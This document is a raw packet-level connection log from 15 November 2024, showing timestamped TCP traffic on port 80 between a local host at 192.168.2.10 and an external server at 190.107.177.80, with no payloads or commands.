Nov 15, 2024 09:10:07.690411091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690422058 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.690443039 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690470934 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.690515041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690532923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690545082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690555096 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690587044 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.690617085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690633059 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.690642118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690653086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690713882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690800905 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.690815926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690833092 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690850019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.690887928 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.690887928 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.691015959 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691028118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691039085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691098928 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.691112995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691138983 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691164017 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.691195965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691206932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691258907 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.691287041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691298008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691348076 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.691431999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691445112 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691456079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691467047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691483021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691488981 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.691520929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.691520929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.691538095 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691555023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.691669941 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698005915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698036909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698086023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698141098 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698160887 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698169947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698180914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698227882 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698227882 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698278904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698424101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698432922 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698443890 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698453903 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698497057 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698497057 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698506117 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698517084 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698611975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698617935 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698640108 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698657990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698688984 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698688984 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698745012 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698796034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698836088 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698853016 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698863029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.698937893 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.698946953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699009895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699023008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699067116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699115992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699115992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699140072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699229002 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699240923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699280024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699304104 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699353933 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699362040 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699373960 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699446917 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699465036 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699476004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699486017 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699496031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699651003 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699651957 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699666023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699704885 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699748039 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699768066 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699779987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699800968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699815035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699824095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699892044 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.699942112 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.699954987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700036049 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.700078964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700118065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700128078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700201988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700237989 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.700251102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700262070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700279951 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.700295925 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.700438976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700449944 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700459957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700473070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700582981 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.700601101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700611115 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700622082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700632095 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700643063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.700721025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.700721025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.740417957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.740468025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.740479946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.740502119 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.740557909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.740566969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.740605116 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.740605116 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.740605116 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.744199991 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744216919 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744227886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744278908 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.744278908 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.744353056 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744410992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744420052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744451046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744463921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744477034 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.744487047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.744509935 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.744529963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.781611919 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.781666994 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.781857014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.781867981 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.781877995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.781881094 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.781883955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.781900883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.781924963 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.781961918 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.781961918 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.781984091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.782005072 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.782011986 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.782098055 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.782159090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.782170057 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.782187939 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.782196999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.782229900 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.782229900 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.813079119 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813116074 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813152075 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813185930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813272953 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.813273907 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.813654900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813709974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813740015 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813782930 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.813791990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813822031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813834906 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:07.813858032 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:07.813932896 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:11.927578926 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.132016897 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.137083054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.137151957 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.140084982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.144921064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991384029 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991425037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991481066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991518021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991547108 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.991569042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991605997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991622925 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.991640091 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991652012 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.991673946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991708040 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991741896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.991755962 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.991786957 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.996772051 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.996805906 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.996840954 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.996869087 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:19.996876001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:19.996922970 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.116362095 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116434097 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116477013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116507053 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116534948 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.116559982 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116563082 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.116595984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116626024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116663933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116674900 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.116702080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116708040 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.116857052 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116945028 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116980076 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.116991043 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.117017984 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.117243052 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.117299080 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.117332935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.117345095 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.152892113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.152940989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.152967930 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.207365036 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.233277082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.233320951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.233382940 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.233578920 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.233611107 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.233668089 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.233699083 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.233719110 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.233740091 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.233872890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.233902931 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234019041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234064102 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.234075069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234113932 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234117985 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.234371901 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234426022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234468937 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.234514952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234570980 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234601021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.234602928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.235658884 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.269969940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.270006895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.270044088 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.270066023 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.321822882 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.350545883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.350591898 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.350671053 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.350815058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.350876093 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.350913048 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.350959063 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.350987911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351032972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351033926 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.351067066 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351398945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351434946 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351449013 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.351470947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351478100 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.351701021 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351794004 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351828098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.351840973 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.351870060 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.387262106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.387300014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.387357950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.387367964 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.442101002 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.467772961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.467822075 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.467910051 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.467995882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468050957 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468102932 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.468106985 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468138933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468197107 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.468250990 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468310118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468346119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468363047 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.468380928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468576908 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.468831062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468883991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.468939066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.468983889 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.469039917 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.469073057 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.469127893 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.504420996 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.504460096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.504484892 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.504497051 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.504534960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.504558086 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.551134109 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.584984064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585031033 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585149050 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.585201025 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585232019 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585279942 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.585320950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585380077 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585416079 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585419893 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.585453033 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585511923 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.585845947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585875034 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:20.585933924 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:20.585975885 CET	80	49795	190.107.177.80	192.168.2.10
